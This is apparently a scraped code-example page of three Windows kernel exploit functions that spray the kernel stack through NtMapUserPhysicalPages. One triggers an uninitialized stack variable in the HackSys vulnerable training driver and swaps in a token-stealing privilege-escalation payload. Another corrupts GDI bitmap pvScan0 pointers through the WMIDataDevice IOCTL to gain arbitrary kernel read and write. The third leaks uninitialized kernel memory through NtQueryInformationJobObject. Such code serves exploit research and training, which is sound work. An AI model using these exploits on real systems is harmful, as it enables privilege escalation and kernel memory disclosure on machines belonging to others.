DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) {
    UINT32 i = 0;
    ULONG BytesReturned;
    HANDLE hFile = NULL;
    ULONG MagicValue = 0xBAADF00D;
    PULONG StackSprayBuffer = NULL;
    LPCSTR FileName = (LPCSTR)DEVICE_NAME;
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    PVOID EopPayload = &TokenStealingPayloadDuplicateToken;
    SIZE_T StackSprayBufferSize = 1024 * sizeof(ULONG_PTR);

    __try {
        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

        hFile = GetDeviceHandle(FileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");

        StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                             HEAP_ZERO_MEMORY,
                                             StackSprayBufferSize);

        if (!StackSprayBuffer) {
            DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", StackSprayBuffer);
            DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", StackSprayBufferSize);
        }

        DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

        for(i = 0; i < StackSprayBufferSize / sizeof(ULONG_PTR); i++) {
            StackSprayBuffer[i] = (ULONG)EopPayload;
        }

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);

        ResolveKernelAPIs();

        DEBUG_INFO("\t\t[+] Spraying the Kernel Stack\n");
        DEBUG_MESSAGE("\t[+] Triggering Use of Uninitialized Stack Variable\n");

        OutputDebugString("****************Kernel Mode****************\n");

        // HackSys Extreme Vulnerable driver itself provides a decent interface
        // to spray the stack using Stack Overflow vulnerability. However, j00ru
        // on his blog disclosed a Windows API that can be used to spray stack up to
        // 1024*sizeof(ULONG_PTR) bytes (http://j00ru.vexillium.org/?p=769). Since,
        // it's a Windows API and available on Windows by default, I decided to use
        // it instead of this driver's Stack Overflow interface.
        NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer);

        // Kernel Stack should not be used for anything else as it
        // will corrupt the current sprayed state. So, we will directly
        // trigger the vulnerability without putting any Debug prints.
        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE,
                        (LPVOID)&MagicValue,
                        0,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");

        HeapFree(GetProcessHeap(), 0, (LPVOID)StackSprayBuffer);

        StackSprayBuffer = NULL;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}
예제 #2
0
static BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWorker) {

	PVOID pageFrameNumbers[PAGE_FRAME_NUMBER_COUNT];
	WMI_RECEIVE_NOTIFICATION notification;
	PVOID hManagerAddress, hWorkerAddress;
	BYTE ReturnBuffer[RETURN_BUFFER_SIZE];
	DWORD ReturnSize;
	HANDLE hDriver;
	PVOID address;
	INT i;

	NTSTATUS NtMapUserPhysicalPages(PVOID BaseAddress, ULONG NumberOfPages, PVOID *PageFrameNumbers);


	if (SetupBitmapManagerAndWorker(hManager, hWorker) == FALSE) {
		LOG("[-] Unable To Setup Manager And Worker Bitmaps\n");
		return FALSE;
	}

	hManagerAddress = GetBitmapKernelAddress(pPeb, *hManager);
	hWorkerAddress = GetBitmapKernelAddress(pPeb, *hWorker);

	LOG("[%%] Targeting pvScan0 With \"mov rdx, [rdx+0x8]\" Instruction\n");

	for (i = 0; i < (sizeof(notification) / sizeof(PVOID)); i++) { ((ULONG64 *)&notification)[i] = BITMAP_STRUCTURE_CORRUPTION_VALUE_0; }

	notification.HandleCount = 0;
	notification.Action = WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD;
	notification.UserModeProcess = GetCurrentProcess();

	for (i = 0; i < (sizeof(pageFrameNumbers) / sizeof(PVOID)); i++) { pageFrameNumbers[i] = hManagerAddress; }

	LOG("[%%] pPeb: 0x%p\n", pPeb);
	LOG("[%%] hManager: 0x%p, hWorker: 0x%p\n", *hManager, *hWorker);
	LOG("[%%] hManagerAddress: 0x%p, hWorkerAddress: 0x%p\n", hManagerAddress, hWorkerAddress);

	hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		LOG("[-] Unable To Open The WMIDataDevice\n");
		return FALSE;
	}

	i = 0;
	do {
		Sleep(0);

		NtMapUserPhysicalPages(pageFrameNumbers, (sizeof(pageFrameNumbers) / sizeof(PVOID)), pageFrameNumbers);

		if (DeviceIoControl(hDriver, WMI_RECEIVE_NOTIFICATIONS_IOCTL, &notification, sizeof(notification), &ReturnBuffer, sizeof(ReturnBuffer), &ReturnSize, NULL) == FALSE) {
			LOG("[-] Device IO Control Returned Failure\n");
			return FALSE;
		}

		GetBitmapBits(*hManager, sizeof(PVOID), &address);
	} while ((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (++i < TRIGGER_VULNERABILITY_RETRIES));


    if((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (i == TRIGGER_VULNERABILITY_RETRIES)) {
        LOG("[-] Unable To Trigger The Vulnerability\n");
        return FALSE;
    }

	LOG("[+] Self-Referencing Pointer Placement Complete\n");

	pageFrameNumbers[0] = (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_VALUE_1);
	pageFrameNumbers[1] = (PVOID)((ULONG64)hWorkerAddress + BITMAP_STRUCTURE_PVSCAN0_OFFSET);
	SetBitmapBits(*hManager, (sizeof(PVOID) * 2), pageFrameNumbers);

	LOG("[+] Stage 1 Cleanup Complete\n");
	LOG("[+] Pointed hManager's pvScan0 To hWorker's pvScan0\n");

	pageFrameNumbers[0] = NULL;
	WriteMemory(*hManager, *hWorker, (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_OFFSET), pageFrameNumbers, sizeof(PVOID));

	LOG("[+] Stage 2 Cleanup Complete\n");

	return TRUE;
}
예제 #3
0
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;

  // Create a job object to operate on.
  HANDLE hJob = CreateJobObject(NULL, NULL);

  // Spray the kernel stack with a marker value, to get visible results.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 48).
  DWORD ReturnLength = 0;
  BYTE output[56] = { /* zero padding */ };

  NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 48, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#1 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print out the output.
  printf("Class 12, output length 48:\n");
  PrintHex(output, ReturnLength);

  // Spray the kernel again before invoking the affected system call.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 56).
  ZeroMemory(output, sizeof(output));

  st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 56, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#2 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print the output again.
  printf("Class 12, output length 56:\n");
  PrintHex(output, ReturnLength);

  // Free resources.
  CloseHandle(hJob);

  return 0;
}